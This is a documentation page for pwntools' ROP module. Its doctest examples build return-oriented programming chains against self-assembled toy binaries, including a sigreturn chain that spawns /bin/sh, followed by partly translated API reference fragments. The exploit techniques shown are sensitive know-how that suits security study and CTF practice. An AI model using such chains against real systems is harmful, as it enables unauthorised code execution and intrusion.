pwnlib.rop.rop — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let’s create a fake binary which has some symbols which might have been useful.

>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

>>> rop = ROP(binary)

With the ROP object, you can manually add stack frames.

>>> rop.raw(0)
>>> rop.raw(unpack('abcd'))
>>> rop.raw(2)

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2

The ROP module is also aware of how to make function calls with standard Linux ABIs.

>>> rop.call('read', [4,5,6])
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:           'eaaa' <pad>
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

>>> rop.write(7,8,9)
>>> rop.exit()
>>> print rop.dump()
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:       0x10000000 <adjust: add esp, 0x10; ret>
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
0x0020:           'iaaa' <pad>
0x0024:       0xdecafbad write(7, 8, 9)
0x0028:       0x10000000 <adjust: add esp, 0x10; ret>
0x002c:              0x7 arg0
0x0030:              0x8 arg1
0x0034:              0x9 arg2
0x0038:           'oaaa' <pad>
0x003c:       0xfeedface exit()
0x0040:           'qaaa' <pad>

ROP Example

Let’s assume we have a trivial binary that just reads some data onto the stack, and returns.

>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'

Let’s provide some simple gadgets:

>>> assembly += 'add_esp: add esp, 0x10; ret\n'

And perhaps a nice “write” function.

>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'

And a way to exit cleanly.

>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary   = ELF.from_assembly(assembly)

Finally, let’s build our ROP stack

>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print rop.dump()
0x0000:       0x10000012 write(STDOUT_FILENO, 268435494, 8)
0x0004:       0x1000000e <adjust: add esp, 0x10; ret>
0x0008:              0x1 arg0
0x000c:       0x10000026 flag
0x0010:              0x8 arg2
0x0014:           'faaa' <pad>
0x0018:       0x1000002f exit()
0x001c:           'haaa' <pad>

The raw data from the ROP stack is available via str.

>>> raw_rop = str(rop)
>>> print enhex(raw_rop)
120000100e000010010000002600001008000000666161612f00001068616161

Let’s try it out!

>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print p.recvall(timeout=5)
The flag

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a int 0x80 gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary    = ELF.from_assembly(assembly)

Let’s create a ROP object and invoke the call.

>>> context.kernel = 'amd64'
>>> rop   = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)

That’s all there is to it.

>>> print rop.dump()
0x0000:       0x1000000e pop eax; ret
0x0004:             0x77
0x0008:       0x1000000b int 0x80
0x000c:              0x0 gs
0x0010:              0x0 fs
0x0014:              0x0 es
0x0018:              0x0 ds
0x001c:              0x0 edi
0x0020:              0x0 esi
0x0024:              0x0 ebp
0x0028:              0x0 esp
0x002c:       0x10000012 ebx = binsh
0x0030:              0x0 edx
0x0034:              0x0 ecx
0x0038:              0xb eax
0x003c:              0x0 trapno
0x0040:              0x0 err
0x0044:       0x1000000b int 0x80
0x0048:             0x23 cs
0x004c:              0x0 eflags
0x0050:              0x0 esp_at_signal
0x0054:             0x2b ss
0x0058:              0x0 fpstate

Let’s try it out!

>>> p = process(binary.path)
>>> p.send(str(rop))
>>> time.sleep(1)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'

  • regs (list) – Minimum list of registers which are popped off the stack.
  • order (str) – Either the string ‘size’ or ‘regs’. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If order == 'size', then gadgets are compared lexicographically by (total_moves, total_regs, addr), otherwise by (total_regs, total_moves, addr).

返回:A Gadget object

参数:registers (dict) – Dictionary of {register name: value}
返回:An OrderedDict of {register -- sequence of gadgets, values, etc.}.
unresolve(value)[源代码]

Inverts ‘resolve’. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

参数:value (int) – Address to look up
返回:String containing the symbol name for the address, disassembly for a gadget (if there’s one at that address), or an empty string.
base = 0[源代码]

Stack address where the first byte of the ROP chain lies, if known.

elfs = [][源代码]

List of ELF files which are available for mining gadgets
